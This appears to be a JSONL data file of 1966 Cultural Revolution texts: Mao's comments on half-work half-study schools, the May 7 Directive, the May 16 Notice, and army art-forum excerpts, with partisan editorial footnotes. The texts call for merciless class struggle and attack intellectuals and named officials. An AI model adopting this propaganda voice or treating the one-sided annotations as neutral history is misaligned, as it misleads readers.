    {"text": "学校一律要实行半工半读 学校一律要实行半工半读 * （一九六六年四月十四日） 一切学校和学科（小学、中学、大学、军事学校、医学院校、文艺院校以及其他学校例如党校、新闻学校、外语学校、外交学校等等，学科包括社会科学、自然科学及二者的常识）都应当这样办。分步骤地有准备地一律下楼出院，到工厂去，到农村去，同工人农民同吃同住同劳动，学工学农，读书。工读比例最好一半对一半，最多是四比六。因此读书的部分要大减。书是要读的，但读多了是害死人的。师生一律平等，放下架子，教学相长。随时总结经验，纠正错误。 许多无用的书，只应束之高阁。就像过去废止读五经四书、读二十四史、读诸子百家、读无穷的文集和选集一样，革命反而胜利了。譬如共产党人和我们的军事干部，一字不识和稍识几字的占了百分之九十几，而多识一些字的，例如读过三几年中学，进过黄埔军校、云南讲武堂、苏联军事院校的，只有极少数，大学毕业生几乎一个也没有。所以有人说，共产党“无学有术”，而他则是“有学无术”。这话从形式上看来是有些对的。但从实质上看，则是完全错误。共产党人曾经进过二十几年的军事大学和革命大学（即二十几年的战争与革命），而那些大学教授和大学生们只会啃书本（这是一项比较最容易的工作），他们一不会打仗，二不会革命，三不会做工，四不会耕田。他们的知识贫乏得很，讲起这些来，一窍不通。他们中的很多人确有一项学问，就是反共反人民反革命，至今还是如此。他们也有“术”，就是反革命的方法。 所以我常说，知识分子和工农分子比较起来是最没有学问的人。他们不自惭形秽，整天从书本到书本，从概念到概念。如此下去，除了干反革命、搞资产阶级复辟、培养修正主义分子以外，其他一样也不会。一些从事过一二次“四清”运动 〔2〕 ，从工人农民那里取了经回来的人，他们自愧不如，有了革命干劲，这就好了。唐人诗云：“竹帛烟销帝业虚，山河空锁祖龙居。坑灰未烬山东乱，刘项原来不读书。” 〔3〕 有同志说：“学问少的打倒学问多的，年纪小的打倒年纪大的”，这是古今一条规律。经、史、子、集成了汗牛充栋、浩如烟海的状况，就宣告它自己的灭亡。只有几十万分之一的人还去理它，其他的人根本不知道有那回事，这是一大解放，不胜谢天谢地之至。 因此学校一律要搬到工厂和农村去，一律实行半工半读，当然要分步骤，要分批分期，但是一定要去，不去就解散这类学校，以免贻患无穷。 注 释 * 这是毛泽东同志对《在京艺术院校试行半工（农）半读》 〔1〕 一文的批语。 〔1〕 这个批语写在中共中央办公厅机要室一九六六年四月十二日编印的《文电摘要》第一六八号上。这期摘要登载的《在京艺术院校试行半工（农）半读》一文，介绍了中国音乐学院抽调一年级学生和部分教师分别到中国汽车工业公司北京分公司试行在工厂办学、到北京市海淀区温泉公社试行半农半读的情况。毛泽东的批语当时没有印发。 〔2〕 “四清”运动，指一九六三年至一九六六年先后在部分农村和少数城市工矿企业、学校等单位开展的以清政治、清经济、清组织、清思想为主要内容的社会主义教育运动。 〔3〕 这是晚唐诗人章碣写的七绝《焚书坑》。原诗是：“竹帛烟销帝业虚，关河空锁祖龙居。坑灰未冷山东乱，刘项原来不读书。”这里指不读书的刘邦和项羽就能打下天下。"},
    {"text": "事实上，在我国革命的两个阶段，即新民主主义阶段和社会主义阶段，文化战线上都存在两个阶级、两条路线的斗争，即无产阶级和资产阶级在文化战线上争夺领导权的斗争。 我们党的历史上，反对“左”右倾机会主义的斗争，也都包括文化战线上的两条路线斗争。"},
    {"text": "一九四二年开始的整风运动中，毛主席先在理论上彻底地批判了王明的政治路线、军事路线和组织路线； 紧接着，又在理论上彻底地批判了以王明为代表的文化路线。"},
    {"text": "毛主席的《新民主主义论》、《在延安文艺座谈会上的讲话》和《看了＜逼上梁山＞以后写给延安平剧院的信》 〔3〕 ，就是对文化战线上的两条路线斗争的最完整、最全面、最系统的历史总结，是马克思列宁主义世界观和文艺理论的继承和发展。 在我国革命进入社会主义阶段以后，毛主席又发表了《关于正确处理人民内部矛盾的问题》和《在中国共产党全国宣传工作会议上的讲话》两篇著作，这是我国和各国革命思想运动、文艺运动的历史经验的最新的总结，是马克思列宁主义世界观和文艺理论的新发展。"},
    {"text": "但是，文艺界在建国以来，却基本上没有执行，被一条与毛主席思想相对立的反党反社会主义的黑线专了我们的政，这条黑线就是资产阶级的文艺思想、现代修正主义的文艺思想和所谓三十年代文艺的结合。 “写真实”论、“现实主义广阔的道路”论、“现实主义的深化”论、反“题材决定”论、“中间人物”论、反“火药味”论、“时代精神汇合”论，等等，就是他们的代表性论点，而这些论点，大抵都是毛主席《在延安文艺座谈会上的讲话》中早已批判过的。 电影界还有人提出所谓“离经叛道”论，就是离马克思列宁主义、毛泽东思想之经，叛人民革命战争之道。 在这股资产阶级、现代修正主义文艺思想逆流的影响或控制下，十几年来，真正歌颂工农兵的英雄人物，为工农兵服务的好的或者基本上好的作品也有，但是不多；"},
    {"text": "二、近三年来，社会主义的文化大革命已经出现了新的形势，革命现代京剧的兴起就是最突出的代表。 从事京剧革命的文艺工作者，在以毛主席为首的党中央的领导下，以马克思列宁主义和毛泽东思想为武器，向封建阶级、资产阶级和现代修正主义文艺展开了英勇顽强的进攻，锋芒所向，使京剧这个最顽固的堡垒，从思想到形式，都发生了极大的革命，并且带动文艺界发生着革命性的变化。 革命现代京剧《红灯记》《沙家浜》《智取威虎山》《奇袭白虎团》等和芭蕾舞剧《红色娘子军》、交响音乐《沙家浜》、泥塑《收租院》等，已经得到广大工农兵群众的批准，在国内外观众中，受到了极大的欢迎。"},
    {"text": "有人说革命现代京剧丢掉了京剧的传统，丢掉了京剧的基本功。 事实恰恰相反，革命现代京剧正是对京剧传统的批判地继承，是真正的推陈出新。 京剧的基本功不是丢掉了，而是不够用了，有些不能够表现新生活的，应该也必须丢掉。 而为了表现新生活，正急需我们从生活中去提炼，去创造，去逐步发展和丰富京剧的基本功。"},
    {"text": "同时，还不断地出现了许多优秀的、歌颂我国社会主义革命的伟大胜利，歌颂社会主义建设各个战线上的大跃进，歌颂我们的新英雄人物，歌颂我们伟大的党，伟大的领袖英明领导的文艺作品，特别是工农兵发表在墙报、黑板报上的大量诗歌，无论内容和形式都划出了一个完全崭新的时代。"},
    {"text": "中国人民解放军是中国无产阶级专政的主要工具，是中国人民和世界革命人民的依靠和希望。 没有人民的军队，就没有革命的胜利，就没有无产阶级专政，就没有社会主义，也就没有人民的一切。"},
    {"text": "而有的人却在毛主席指出文艺界十五年来基本上没有执行党的方针以后，还说部队文艺方向已经解决了，主要是提高艺术水平的问题，这种观点是错误的，是缺乏具体分析的。"},
    {"text": "在中共中央军委扩大会议《关于加强军队政治思想工作的决议》中，明确地规定部队文艺工作的任务是：“必须密切结合部队的任务和思想情况，为兴无灭资、巩固和提高战斗力服务”；"},
    {"text": "因此，在社会主义文化革命中，解放军一定要起应起的作用，勇敢地、坚定不移地，为贯彻执行文艺为工农兵服务、为社会主义服务的方针而斗争。"},
    {"text": "那时，左翼文艺运动政治上是王明的“左倾”机会主义路线，组织上是关门主义和宗派主义，文艺思想实际上是俄国资产阶级文艺评论家别林斯基、车尔尼雪夫斯基、杜勃罗留波夫以及戏剧方面的斯坦尼斯拉夫斯基的思想，他们是俄国沙皇时代资产阶级民主主义者，他们的思想不是马克思主义，而是资产阶级思想。 资产阶级民主革命，是一个剥削阶级代替另一个剥削阶级的革命，只有无产阶级的社会主义革命，才是最后消灭一切剥削阶级的革命，因此，决不能把任何一个资产阶级革命家的思想，当成我们无产阶级思想运动、文艺运动的指导方针。"},
    {"text": "到了三十年代的中期，那时左翼的某些领导人在王明的右倾投降主义路线的影响下，背离马克思列宁主义的阶级观点，提出了“国防文学” 〔6〕 的口号。"},
    {"text": "有些左翼文艺工作者，特别是鲁迅，也提出了文艺要为工农服务和工农自己创作文艺的口号，但是并没有系统地解决文艺同工农兵相结合这个根本问题。 当时的左翼文艺工作者，绝大多数还是资产阶级民族民主主义者，有些人民主革命这一关就没过去，有些人没有过好社会主义这一关。"},
    {"text": "斯大林是个伟大的马克思列宁主义者，他对资产阶级的现代派文艺的批评是很尖锐的，但是，他对俄国和欧洲的所谓经典著作却无批判地继承，后果不好。"},
    {"text": "要有信心，有勇气，去做前人所没有做过的事，因为我们的革命，是一次最后消灭剥削阶级、剥削制度，和从根本上消除一切剥削阶级毒害人民群众的意识形态的革命。"},
    {"text": "我们要在党中央和毛主席的领导下，在马克思列宁主义和毛泽东思想的指导下，去创造无愧于我们伟大的国家，伟大的党，伟大的人民，伟大的军队的社会主义的革命新文艺。"},
    {"text": "要依靠群众，从群众中来，到群众中去，经过长时间的反复实践，精益求精，力求达到革命的政治内容和尽可能完美的艺术形式的统一。 在实践中及时总结经验，逐步掌握各种艺术的规律。"},
    {"text": "摄制一部电影要花费几十万元或者上百万元，把坏片子藏起来，白白地浪费掉了，为什么不拿出来放映，从而教育创作人员和人民群众，又可以弥补国家经济上的损失，做到思想、经济双丰收呢？"},
    {"text": "七、要提倡革命的战斗的群众性的文艺批评，打破少数所谓“文艺批评家”（即方向错误的和软弱无力的那些批评家）对文艺批评的垄断，把文艺批评的武器交给广大工农兵群众去掌握，使专门批评家和群众批评家结合起来。"},
    {"text": "对于文艺理论方面一些有代表性的错误论点，和某些人在一些什么《中国电影发展史》、《中国话剧运动五十年史料集》、《京剧剧目初探》之类的书中企图伪造历史、抬高自己，以及所散布的许多错误论点，都要有计划地进行彻底的批判。"},
    {"text": "要塑造典型，毛主席说：“文艺作品中反映出来的生活却可以而且应该比普通的实际生活更高，更强烈，更有集中性，更典型，更理想，因此就更带普遍性。"},
    {"text": "革命战争的残酷性和革命的英雄主义，革命斗争的艰苦性和革命的乐观主义，都是对立的统一，但一定要弄清楚什么是矛盾的主要方面，否则，位置摆错了，就会产生资产阶级和平主义倾向。"},
    {"text": "此外，在描写人民革命战争的时候，不论是在以游击战为主，运动战为辅的阶段，还是以运动战为主的阶段，都要正确地表现党领导下的正规军、游击队和民兵的关系，武装群众和非武装群众的关系。"},
    {"text": "过去，有些作品，歪曲历史事实，不表现正确路线，专写错误路线； 有些作品，写了英雄人物，但都是犯纪律的，或者塑造起一个英雄形象却让他死掉，人为地制造一个悲剧的结局； 有些作品，不写英雄人物，专写中间人物，实际上是落后人物，丑化工农兵形象；"},
    {"text": "由于历史的原因，在全国解放前，我们无产阶级在敌人的统治下培养自己的文艺工作者要困难一些。 我们的文化水平比较低，我们的经验比较少，我们的许多文艺工作者，是受资产阶级的教育培养起来的，在从事革命文艺活动的过程中，有些人又经不起敌人的迫害叛变了，或者经不起资产阶级思想的腐蚀烂掉了。 在根据地，我们培养过相当数量的革命文艺工作者，特别是《在延安文艺座谈会上的讲话》发表以后，他们有了正确的方向，走上同工农兵相结合的道路，在革命过程中起过积极的作用。 缺点是，在全国解放后，进了大城市，许多同志没有抵抗住资产阶级思想对我们文艺队伍的侵蚀，因而有的在前进中掉队了。"},
    {"text": "要认真学习毛主席著作，活学活用，联系思想，联系实际，带着问题学，才能真正学得懂、学得通、学到手。 要长期深入生活，和工农兵相结合，提高阶级觉悟，改造思想，不为名，不为利，全心全意地为人民服务。 要教育我们的同志，读一辈子马克思列宁主义和毛主席的书，革一辈子命。"},
    {"text": "〔1〕 一九六六年二月四日江青以受林彪委托的名义，在上海召开了由主管宣传、文化工作的总政治部副主任刘志坚、总政文化部长谢镗忠、副部长陈亚丁、宣传部长李曼村、秘书刘景涛、《星火燎原》编辑部编辑黎明等参加的“部队文艺工作座谈会”。"},
    {"text": "他相信国民党超过相信共产党，不敢放手发动群众斗争，不敢放手发展人民军队，不敢在日本占领地区扩大解放区，主张“一切经过统一战线”、“一切服从统一战线”，将抗日战争的领导权送给国民党。"},
    {"text": "一九三八年九月至十一月中共中央召开的扩大的六届六中全会，批判了王明的右倾投降主义错误，确立了全党独立自主地领导抗日武装斗争的方针和政策。"},
    {"text": "〔3〕 《新民主主义论》见毛选第二卷，文章提出“所谓新民主主义的文化，一句话，就是无产阶级领导的人民大众的反帝反封建的文化”，“民族的科学的大众的文化，就是人民大众反帝反封建的文化，就是新民主主义的文化，就是中华民族的新文化。"},
    {"text": "” 《在延安文艺座谈会上的讲话》见毛选第二卷，文章提出“我们的文学艺术都是为人民大众的，首先是为工农兵的，为工农兵而创作，为工农兵所利用的。"},
    {"text": "” 《看了＜逼上梁山＞以后写给延安平剧院的信》,写于一九四四年一月九日，作为附件随纪要一起转发，一九六七年五月二十五日《人民日报》曾刊发，内容不长： “看了你们的戏，你们做了很好的工作，我向你们致谢，并请代向演员同志们致谢！"},
    {"text": "历史是人民创造的，但在旧戏舞台上（在一切离开人民的旧文学旧艺术上）人民却成了渣滓，由老爷太太少爷小姐们统治着舞台，这种历史的颠倒，现在由你们再颠倒过来，恢复了历史的面目，从此旧剧开了新生面，所以值得庆贺。"},
    {"text": "” 《关于正确处理人民内部矛盾的问题》见毛选第五卷，文章提出“百花齐放、百家争鸣的方针，是促进艺术发展和科学进步的方针，是促进我国的社会主义文化繁荣的方针”，“我国社会主义和资本主义之间在意识形态方面的谁胜谁负的斗争，还需要一个相当长的时间才能解决”，“在批判教条主义的时候，必须同时注意对修正主义的批判。"},
    {"text": "” 《在中国共产党全国宣传工作会议上的讲话》见毛选第五卷，文章提出“知识分子同工农群众结合的问题”，“提倡知识分子到群众中去，到工厂去，到农村去”。"},
    {"text": "〔4〕 指一九六二年九月二十四日至二十七日在北京举行的中共八届十中全会发布的公报，“八届十中全会指出，在无产阶级革命和无产阶级专政的整个历史时期，在由资本主义过渡到共产主义的整个历史时期（这个时期需要几十年，甚至更多的时间）存在着无产阶级和资产阶级之间的阶级斗争，存在着社会主义和资本主义这两条道路的斗争。"},
    {"text": "同时，社会上还存在着资产阶级的影响和旧社会的习惯势力，存在着一部分小生产者的自发的资本主义倾向，因此，在人民中，还有一些没有受到社会主义改造的人，他们人数不多，只占人口的百分之几，但一有机会，就企图离开社会主义道路，走资本主义道路。"},
    {"text": "佃农姜国富为使独生子不被抓壮丁，用变卖家产的钱托地主李老栓向王保长求情。 谁知李老栓为使自己的二娃子免抓壮丁，竞用姜国富的钱买通王保长将姜的独生子抓去当替身，无依无靠的姜国富无处伸冤，被逼自尽。"},
    {"text": "李老栓的大娃子在国民党军队里当上副官后回乡拉队伍，他封官许愿，与卢队长、王保长达成默契，要他们抓更多的壮丁，然后委任卢队长为营长、王保长为连长。"},
    {"text": "虽然结尾处，受尽欺压的农民终于起来造反，以武装斗争维护自己的生存权，但本剧把佃农等一些群众也进行了丑化，从剧中看不出一点光明，整个中华民族被描写成了一团漆黑。"},
    {"text": "〔6〕 “国防文学”和“民族革命战争的大众文学”的口号之争：指一九三六年上海左翼文学界关于国防文学和民族革命战争的大众文学这两个口号的论争。"},
    {"text": "鲁迅认为，“民族革命战争的大众文学”这个口号，在本身上，比“国防文学”的提法，意义更明确，更深刻，更有内容。 在《论现在我们的文学运动》中，鲁迅进一步强调说：“民族革命战争的大众文学，正如无产革命文学的口号一样，大概是一个总的口号罢。"},
    {"text": "” 在这里，鲁迅正确地说明了“民族革命战争的大众文学”与无产阶级革命文学的关系，而且针对左翼文学队伍中有的人忽视、放弃无产阶级领导权的错误，特别强调了统一战线中无产阶级领导权的重要意义。 鲁迅同时认为，“国防文学”是“目前文学运动的具体口号之一”，这个口号“颇通俗，已经有很多人听惯，它能扩大我们政治的和文学的影响，加之它可以解释为作家在国防旗帜下联合，为广义的爱国主义的文学的缘故”，因此，“它即使曾被不正确的解释，它本身含义上的缺陷，它仍应当存在，因为存在对于抗日运动有利益。"},
    {"text": "他们以是否赞成国防文学作为加入联合战线的条件，宣称凡是反对、阻碍或曲解国防文学的，都是其敌人，并错误地把当时的文艺划分为国防文艺和汉奸文艺。"},
    {"text": "在民族矛盾急遽上升的历史转折关头，“国防文学”的某些倡导者还不能充分认识阶级矛盾与民族矛盾的辩证关系，暴露出若干“左”的或右的不正确观点。"},
    {"text": "周扬等人把持的《光明》、《文学界》等刊物主要发表“国防文学”口号的文章； 《夜莺》、《现实文学》等刊物则主要发表“民族革命战争的大众文学”口号的文章。 拥护“国防文学”口号的作家，成立中国文艺家协会，发表《中国文艺家协会宣言》； 赞成“民族革命战争的大众文学”口号的作家，发表《中国文艺工作者宣言》，其间双方发表的论战文章，竞有四百八十篇之多！"},
    {"text": "同年八月，八一电影制片厂决定将这台话剧搬上银幕，特选派本厂实力派导演严寄洲执导，同时，还聘请江青为艺术顾问。 由于创作思想存在着较多的分歧，在影片筹拍和外景摄制阶段，严寄洲常常与江青发生激烈的争论，致使影片创作进程迟缓。"},
    {"text": "一九七五年十月，《南海长城》重拍摄制组成立，根据新的文艺原则“三突出”标准拍摄，由刘晓庆主演，一九七六年九月中旬拍摄完成，国庆后公映了。"},
    {"text": "影片反映了举世闻名的中国工农红军二万五千里长征的战斗生活，表现红军指战员在长征途中经受了严酷的战争和恶劣的自然环境的种种考验，胜利地完成了长征任务。 影片以严肃的现实主义态度，真实地再现了当年长征途中飞夺泸定桥、强渡大渡河、爬雪山、过草地、腊子口战役等雄伟壮观的战斗场景，以高亢激越的笔调讴歌了中国工农红军“万水千山只等闲”的革命英雄主义精神和革命乐观主义精神。"},
    {"text": "但这部电影采用的是旧的艺术形式，过分渲染惊险情节，对地下党的工作表现的也不符合实际，过分强调敌人起义是因为敌人内部派系之争，没有突出毛泽东思想，没有突出是我强大军事威力和政策威力的结果。"},
    {"text": "〔11〕 丘赫拉依：苏联导演，曾导演《第四十一》，剧中描写了红军女战士爱上了白匪俘虏，当白匪军来救这个俘虏时，红军女战士还是枪杀了俘虏，用来展示人性的复杂。"},
    {"text": "〔12〕 肖洛霍夫：：前苏联著名作家，作者对战争持一概否定的态度，过分地渲染了死亡和恐怖，因而产生了比较明显的资产阶级和平主义倾向，曾把伟大的反法西斯战争描绘成是“人类的悲剧”和“灾难”，是“兄弟的自相残杀”。"},
    {"text": "马克思、恩格斯就没有料到手创的社会民主党在他们死后被他们的接班人篡夺领导权，变为资产阶级政党，这是不以马克思、恩格斯的意志为转移的。"},
    {"text": "从一九二一年到一九六六年四十五年了，我们就初步地剥了一遍，剥掉了不少反动的：陈独秀、瞿秋白、李立三、王明、张国焘、张闻天、高岗、饶漱石、彭德怀、罗瑞卿 〔2〕 、彭真等等前后几十个中央委员，还有睡在我们身边没有发现的。"},
    {"text": "〔1〕 赫鲁晓夫修正主义：赫鲁晓夫（一八九四——一九七一），曾任苏联党和国家主要领导人，斯大林生前吹捧斯大林是自己的“生身父亲”，斯大林去世后发布秘密报告，咒骂斯大林是“凶手”、“刑事犯”、“强盗”、“赌棍”、“伊凡雷帝式的暴君”、“俄国历史上最大的独裁者”、“混蛋”、“白痴”，全盘否定斯大林，并把斯大林的遗体从列宁墓中迁出。 斯大林领导社会主义阵营三十年，是公认的革命导师和领袖： 他领导苏联共产党和苏联人民，同国内外的一切敌人进行了坚决的斗争，保卫了并且巩固了世界上的第一个社会主义国家；"},
    {"text": "他领导苏联共产党和苏联人民，在国内坚持了社会主义工业化和农业集体化的路线，取得了社会主义改造和社会主义建设的伟大成就； 他领导苏联共产党、苏联人民和苏联军队，进行了艰苦卓绝的战斗，取得了反法西斯战争的伟大胜利； 他的一系列理论著作，是马克思列宁主义的不朽文献，对国际共产主义运动作出了不可磨灭的贡献，捍卫和发展了马克思列宁主义； 他领导的苏联党和政府，从总的方面来说，实行了符合无产阶级国际主义的对外政策，对世界各国人民的革命斗争给了巨大的援助，指导帮助了中国、朝鲜、越南、东欧等多个国家的革命斗争，建立了社会主义阵营。"},
    {"text": "从苏共第二十次代表大会开始，赫鲁晓夫提出了同十月革命道路根本对立的所谓“和平过渡”道路，也就是“通过议会的道路向社会主义过渡”。"},
    {"text": "〔2〕 罗瑞卿：时任中共中央书记处书记、国务院副总理、中央军委常委、中央军委秘书长、中国人民解放军总参谋长、国防部副部长、国防工业办公室主任，一九六五年十二月八日至十五日，党中央在上海召开了会议，揭发和批判了罗瑞卿的错误，叶剑英、聂荣臻、谢富治、箫克、杨成武、刘志坚等相继发言，批判了罗瑞卿“反对突出政治、把林彪同志实际当作敌人对待、不尊重各元帅、个人独断”的错误，最后，毛泽东提出：“如果没有这三条（指反林、向党伸手、反对突出政治），可以把问题先挂起来。"},
    {"text": "” 一九六六年三月三日，在京西宾馆召开的军委扩大会议对他进行了批判，三月十八日，罗瑞卿从办公三楼跳下，摔断了腿，毛泽东听说后，骂了句“没出息”。 一九六六年六月二十七日下午四时，在人民大会堂安徽厅，刘少奇在中共中央召集的民主人士座谈会上通报“彭真、罗瑞卿、陆定一、杨尚昆”错误时，是这样说的：“在今年二、三月间，召集了几十个人，有地方、军队干部参加的会议，进一步讨论罗瑞卿的问题，他在会上讲了一次话，大家不满意，没有让他过关，此时他就在自己住的三层楼跳楼自杀，受了点伤，没有死，现在住在医院里，本来，自杀要有点技术，应该是头重脚轻，他却是脚先落地，脚坏了点，头部没有伤。"},
    {"text": "” 一九六六年四月三十日中央工作组向中共中央提交了《关于罗瑞卿错误问题的报告》报告，由中共中央一九六六年五月十六日转发全党，指出罗的错误有： 第一、敌视和反对毛泽东思想，诽谤和攻击毛泽东同志。"},
    {"text": "各行各业均应一业为主兼学别样——五·七指示 各行各业均应一业为主 兼学别样——五·七指示 * （一九六六年五月七日） 林彪 〔1〕 同志： 你在五月六日寄来总后勤部的报告，收到了，我看这个计划是很好的。是否可以将这个报告发到各军区，请他们召集军、师两级干部在一起讨论一下，以其意见上告军委，然后报告中央取得同意，再向全军作出适当的指示。请你酌定。 只要在没有发生世界大战的条件下，军队应该是一个大学校，即使在第三次世界大战的条件下，很可能也成为一个这样的大学校，除打仗以外，还可做各种工作，第二次世界大战的八年中，各个抗日根据地，我们不是这样做了吗？这个大学校，学政治、学军事、学文化。又能从事农副业生产。又能办一些中小工厂，生产自己需要的若干产品和与国家等价交换的产品。又能从事群众工作，参加工厂农村的社教四清运动 〔2〕 ；四清完了，随时都有群众工作可做，使军民永远打成一片。又要随时参加批判资产阶级的文化革命斗争。这样，军学、军农、军工、军民这几项都可以兼起来。但要调配适当，要有主有从，农、工、民三项，一个部队只能兼一项或两项，不能同时都兼起来。这样，几百万军队所起的作用就是很大的了。 同样，工人也是这样，以工为主，也要兼学军事、政治、文化。也要搞四清，也要参加批判资产阶级。在有条件的地方，也要从事农副业生产，例如大庆油田 〔3〕 那样。 农民以农为主（包括林、牧、副、渔），也要兼学军事、政治、文化，在有条件的时候也要由集体办些小工厂，也要批判资产阶级。 学生也是这样，以学为主，兼学别样，即不但学文，也要学工、学农、学军，也要批判资产阶级。学制要缩短，教育要革命，资产阶级知识分子统治我们学校的现象，再也不能继续下去了。 商业、服务行业、党政机关工作人员，凡有条件的，也要这样做。 以上所说，已经不是什么新鲜意见、创造发明，多年以来，很多人已经是这样做了，不过还没有普及。至于军队，已经这样做了几十年，不过现在更要有所发展罢了。 注 释 * 这是毛泽东通知对总后勤部“关于进一步搞好部队农副业生产”报告的批语。 〔1〕 林彪时任中共中央副主席、中央军委副主席、国防部长，主持军委工作。 〔2〕 社教四清：一九六四年底到一九六五年一月，中央政治局召集全国工作会议，在毛泽东的主持下讨论制定了《农村社会主义教育运动中目前提出的一些问题》（共“二十三条”），将“四清”的内容规定为清政治、清经济、清组织、清思想，强调这次运动的性质是解决“社会主义和资本主义的矛盾”，提出这次运动的重点是整“党内那些走资本主义道路的当权派。” 〔3〕 大庆油田：大跃进时期，一九五九年九月二十六日，在松嫩平原上一个叫大同的小镇附近，发现了世界级的特大砂岩油田！当时正值国庆十周年之际，时任黑龙江省委书记的欧阳钦提议将大同改为大庆，将大庆油田作为一份特殊的厚礼献给成立十周年的新中国。一九六〇年三月，大庆油田投入开发建设。大庆油区的发现和开发，证实了陆相地层能够生油并能形成大油田，从而丰富和发展了石油地质学理论，改变了中国石油工业落后面貌，对中国工业发展产生了极大的影响。一九六三年十二月四日，新华社播发《第二届全国人民代表大会第四次会议新闻公报》，首次向世界宣告：“我国需要的石油，过去大部分依靠进口，现在已经可以基本自给了。”中国石油工业彻底甩掉了“贫油”的帽子，中国人民使用“洋油”的时代一去不复返。文革时期，大庆人发扬“铁人精神”，石油产量逐年提高，到一九七六年大庆油田原油年产量首次突破五千万吨大关，进入世界特大型油田的行列，此后，年产五千万万吨的纪录，大庆人奇迹般地保持了二十七年。到二〇〇九年，五十年间，大庆油田生产原油超过二十亿吨，占同期全国原油总产量的百分之四十，为建立我国现代石油工业体系做出了重大贡献。 在百年中国科学史上，让中华民族扬眉吐气的有两大事件，一是研制成功了“两弹一星”，一是发现了大庆油田。"},
    {"text": "中国共产党中央委员会通知——五·一六通知 中国共产党中央委员会通知 ——五·一六通知 * （一九六六年五月十六日） 各中央局，各省、市、自治区党委，中央各部委，国家机关各部门和各人民团体党组、党委，人民解放军总政治部： 中央决定撤销一九六六年二月十二日批转的《文化革命五人小组关于当前学术讨论的汇报提纲》，撤销原来的“文化革命五人小组”及其办事机构 〔1〕 ，重新设立文化革命小组，隶属于政治局常委之下。 所谓“五人小组”的汇报提纲是根本错误的，是违反中央和毛泽东同志提出的社会主义文化革命的路线的，是违反一九六二年党的八届十中全会关于社会主义社会阶级和阶级斗争问题的指导方针 〔2〕 的。 这个提纲，对毛泽东同志亲自领导和发动的这场文化大革命，对毛泽东同志在一九六五年九月至十月间中央工作会议上（即在一次有各中央局负责同志参加的中央政治局常委会议上）关于批判吴晗的指示，阳奉阴违，竭力抗拒。 所谓“五人小组”的汇报提纲，实际上只是彭真一个人的汇报提纲，是彭真背着“五人小组”成员康生同志和其他同志，按照他自己的意见制造出来的。 对待这样一个关系到社会主义革命全局的重大问题的文件，彭真根本没有在“五人小组”内讨论过、商量过，没有向任何地方党委征求过意见，没有说明要作为中央正式文件提请中央审查，更没有得到中央主席毛泽东同志的同意，采取了极不正当的手段，武断专横，滥用职权，盗窃中央的名义，匆匆忙忙发到全党。"},
    {"text": "这个提纲的主要错误如下： （一）这个提纲站在资产阶级的立场上，用资产阶级世界观来看待当前学术批判的形势和性质，根本颠倒了敌我关系。"},
    {"text": "这个提纲用混乱的、自相矛盾的、虚伪的词句，模糊了当前文化思想战线上的尖锐的阶级斗争，特别是模糊了这场大斗争的目的是对吴晗及其他一大批反党反社会主义的资产阶级代表人物（中央和中央各机关，各省、市、自治区，都有这样一批资产阶级代表人物）的批判。"},
    {"text": "当报刊上刚刚涉及吴晗《海瑞罢官》的政治问题的时候，提纲的作者们竟然提出“在报刊上的讨论不要局限于政治问题，要把涉及到各种学术理论的问题，充分地展开讨论”。"},
    {"text": "他们又在各种场合宣称，对吴晗的批判，不准谈要害问题，不准涉及一九五九年庐山会议对右倾机会主义分子的罢官问题，不准谈吴晗等反党反社会主义的问题。"},
    {"text": "（三）提纲特别强调所谓“放”，但是却用偷天换日的手法，根本歪曲了毛泽东同志一九五七年三月在党的全国宣传工作会议上所讲的放的方针，抹煞放的阶级内容。"},
    {"text": "它的所谓“放”，是资产阶级的自由化，只许资产阶级放，不许无产阶级放，不许无产阶级反击资产阶级，是包庇吴晗这一类的反动的资产阶级代表人物。 这个提纲的所谓“放”，是反毛泽东思想的，是适应资产阶级需要的。"},
    {"text": "无产阶级同资产阶级的斗争，马克思主义的真理同资产阶级以及一切剥削阶级的谬论的斗争，不是东风压倒西风，就是西风压倒东风，根本谈不上什么平等。 无产阶级对资产阶级斗争，无产阶级对资产阶级专政，无产阶级在上层建筑其中包括在各个文化领域的专政，无产阶级继续清除资产阶级钻在共产党内打着红旗反红旗的代表人物等等，在这些基本问题上，难道能够允许有什么平等吗？"},
    {"text": "他们根本否认几千年的人类历史是阶级斗争史，根本否认无产阶级对资产阶级的阶级斗争，根本否认无产阶级对资产阶级的革命和对资产阶级的专政。"},
    {"text": "相反，他们是资产阶级、帝国主义的忠实走狗，同资产阶级、帝国主义一道，坚持资产阶级压迫、剥削无产阶级的思想体系和资本主义的社会制度，反对马克思列宁主义的思想体系和社会主义的社会制度。"},
    {"text": "因此，我们对他们的斗争也只能是一场你死我活的斗争，我们对他们的关系绝对不是什么平等的关系，而是一个阶级压迫另一个阶级的关系，即无产阶级对资产阶级实行独裁或专政的关系，而不能是什么别的关系，例如所谓平等关系、被剥削阶级同剥削阶级的和平共处关系、仁义道德关系等等。"},
    {"text": "这实际上是对资产阶级的思想不准破，对无产阶级的思想不准立，是同毛主席的思想针锋相对的，是同我们在文化战线上进行大破资产阶级意识形态的革命斗争背道而驰的，是不准无产阶级革命。"},
    {"text": "难道无产阶级不要专政，不要压倒资产阶级？ 难道无产阶级的学术不要压倒和消灭资产阶级的学术？ 难道无产阶级学术压倒和消灭资产阶级学术，就是“学阀”？ 提纲反对的锋芒是指向无产阶级左派，显然是要给马克思列宁主义者戴上“学阀”这顶帽子，倒过来支持真正的资产阶级的学阀，维持他们在学术界的摇摇欲坠的垄断地位。 其实，那些支持资产阶级学阀的党内走资本主义道路的当权派，那些钻进党内保护资产阶级学阀的资产阶级代表人物，才是不读书、不看报、不接触群众、什么学问也没有、专靠“武断和以势压人”、窃取党的名义的大党阀。"},
    {"text": "（九）正当无产阶级在思想战线上对资产阶级代表人物发动一场新的激烈斗争刚刚开始，而且许多方面、许多地方还没有开始参加斗争，或者虽然已经开始了斗争，但是绝大多数党委对于这场伟大斗争的领导还很不理解，很不认真，很不得力的时候，提纲却反复强调斗争中要所谓“有领导”、要“谨慎”、要“慎重”、要“经过有关领导机构批准”，这些都是要给无产阶级左派划许多框框，提出许多清规戒律。"},
    {"text": "他们对于一切牛鬼蛇神却放手让其出笼，多年来塞满了我们的报纸、广播、刊物、书籍、教科书、讲演、文艺作品、电影、戏剧、曲艺、美术、音乐、舞蹈等等，从不提倡要受无产阶级的领导，从来也不要批准。"},
    {"text": "毛泽东同志的《新民主主义论》、《在延安文艺座谈会上的讲话》、《看了＜逼上梁山＞以后写给延安平剧院的信》、《关于正确处理人民内部矛盾的问题》、《在中国共产党全国宣传工作会议上的讲话》等著作，早已在文化思想战线上给我们无产阶级开辟了道路。"},
